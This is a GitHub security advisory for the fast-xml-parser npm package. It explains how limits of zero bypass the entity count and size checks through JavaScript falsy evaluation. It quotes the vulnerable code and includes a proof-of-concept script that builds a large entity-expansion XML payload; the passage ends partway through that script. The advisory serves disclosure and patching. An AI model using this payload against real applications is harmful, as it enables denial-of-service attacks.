GitHub Security Advisory: GHSA-jp2q-39xq-3w4g
Package: fast-xml-parser (NPM)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-1284: Improper Validation of Specified Quantity in Input
Vulnerable versions: >= 5.0.0, < 5.5.7
Patched in: 5.5.7

Summary: Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser

Details:
## Summary

The `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.

## Details

The `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):

```js
// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,
```

However, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:

```js
// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
    this.options.maxEntityCount &&          // ← 0 is falsy, skips check
    entityCount >= this.options.maxEntityCount) {
    throw new Error(`Entity count ...`);
}
```

```js
// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
    this.options.maxEntitySize &&            // ← 0 is falsy, skips check
    entityValue.length > this.options.maxEntitySize) {
    throw new Error(`Entity "${entityName}" size ...`);
}
```

The execution flow is:

1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.
2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).
3. Attacker supplies XML with a DOCTYPE containing many large entities.
4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount && ...` — since `0` is falsy, the entire condition is `false`.
5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize && ...` — same result.
6. All entity count and size limits are bypassed; entities are parsed without restriction.

## PoC

```js
const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console